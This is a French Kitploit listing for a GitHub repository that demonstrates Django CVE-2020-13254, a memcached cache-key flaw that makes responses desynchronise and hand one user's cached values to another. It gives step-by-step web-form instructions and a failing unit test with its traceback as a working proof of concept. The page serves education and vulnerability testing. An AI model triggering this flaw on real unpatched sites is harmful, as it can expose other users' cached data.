Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
django-cve-2020-13254 — Démonstration de vulnérabilité pour Django CVE-2020-13254 | Kitploit
Outils/GitHubGitHub/danpalmer/django-cve-2020-13254
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubdanpalmer/django-cve-2020-13254

django-cve-2020-13254

Démonstration de vulnérabilité pour Django CVE-2020-13254

Voir le dépôt
21il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Django CVE-2020-13254

Ce référentiel démontre l'exploitation de CVE-2020-13254 de deux manières – via une interface web et via un cas de test en échec.

Pour plus de détails, visitez :

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

Exploitation via le web

L'exemple fournit une interface web avec 2 formulaires, l'un qui définit des valeurs dans le cache et l'autre qui les récupère. Ceux-ci sont directement traduits en appels au backend de cache de Django. Étant donné que la base de code n'implémente aucun système de session ou d'authentification, des utilisations multiples dans le même onglet de navigateur sont impossibles à distinguer d'utilisateurs multiples utilisant plusieurs machines.

Pour exploiter :

  1. Définissez les clés A et B avec les valeurs a et b.
  2. Tentez de définir C D avec la valeur c d. Cela générera une erreur.
  3. Tentez de récupérer la clé A, il n'y aura incorrectement aucun résultat.
  4. Tentez de récupérer la clé B, le résultat sera incorrectement a.

Démo via les tests

Ce processus peut être exprimé sous forme de cas de test comme suit :

root@kitploit:~
from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )

Cela échoue avec l'erreur suivante :

root@kitploit:~
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
  File "tests.py", line 30, in test_cache
    'v1',
AssertionError: Lists differ

First differing element 0:
None
'v2'

- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
?  ------

+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
?                              ++++++

-------------------------------------------------------------

Après le set, les résultats du cache renvoyés sont désynchronisés par rapport aux requêtes effectuées.

Télécharger l’outil